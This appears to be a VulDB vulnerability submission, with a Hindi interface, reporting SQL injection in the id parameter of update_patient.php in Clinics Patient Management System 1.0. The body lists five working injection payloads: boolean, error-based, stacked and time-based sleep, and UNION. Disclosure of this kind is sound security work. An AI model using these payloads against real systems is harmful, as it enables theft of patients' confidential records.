| शीर्षक | Sql injection exists in id parameter of clinics patient management system |
|---|
| विवरण | SQL injection vulnerability exists in id parameter of update_patient.php file of clinics patient management system.Using sqlmap to inject it, you can get the result of SQL injection, which means that an ordinary user can obtain all the information in the database
Payload：id=1 AND 4120=(SELECT (CASE WHEN (4120=4120) THEN 4120 ELSE (SELECT 4471 UNION SELECT 7480) END))-- -
or id=1 AND GTID_SUBSET(CONCAT(0x716b707071,(SELECT (ELT(3975=3975,1))),0x7178787171),3975)
or id=1;SELECT SLEEP(5)#
or id=1 AND (SELECT 1504 FROM (SELECT(SLEEP(5)))hOOU)
or id=-5738 UNION ALL SELECT NULL,NULL,CONCAT(0x716b707071,0x4c615279756b776d466f53737963726444626f42525977567459714d4c646c69734b6b45536d7976,0x7178787171),NULL,NULL,NULL,NULL-- -
--- |
|---|
| स्रोत | ⚠️ https://github.com/E1CHO/cve_hub/blob/main/clinics%20patient%20management%20system/clinics-patient-management-system%20vlun4.pdf |
|---|
| उपयोगकर्ता | SSL_Seven_Security Lab_WangZhiQiang_XiaoZiLong (UID 38936) |
|---|
| सबमिशन | 25/02/2023 04:45 AM (4 साल पहले) |
|---|
| संयम | 25/02/2023 08:49 AM (4 hours later) |
|---|
| स्थिति | प्रतिलिपि |
|---|
| VulDB प्रविष्टि | 207779 [Clinics Patient Management System 1.0 /pms/update_patient.php पहचान SQL इंजेक्शन] |
|---|
| अंक | 0 |
|---|